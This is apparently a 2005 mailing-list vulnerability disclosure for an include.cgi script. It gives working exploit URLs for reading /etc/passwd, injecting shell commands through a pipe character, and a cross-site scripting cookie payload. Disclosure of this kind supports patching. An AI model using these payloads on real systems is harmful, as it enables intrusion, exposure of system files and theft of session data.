remote command execution in include.cgi script

From: fireboy fireboy <fireboynet_at_webmails.com>
Date: 25 Apr 2005 04:18:43 -0000

('binary' encoding is not supported, stored as-is) Tunis 24/04/2005
BUG found by fireboy
fireboy_at_webmails.com

THERE ARE SOME BUGS IN include.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE

1)file showing
http://www.target.com/cgi-bin/include.cgi?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/include.cgi?|command

3)CSS
www.target.com/cgi-bin/include.cgi?&lt;script&gt;alert(document.cookie)&lt;/script&gt;

ex:
http://www.target.com/cgi-bin/include.cgi?|ls;uname -a;

greetz to all magattack memebers www.magattack.tk
Received on Apr 25 2005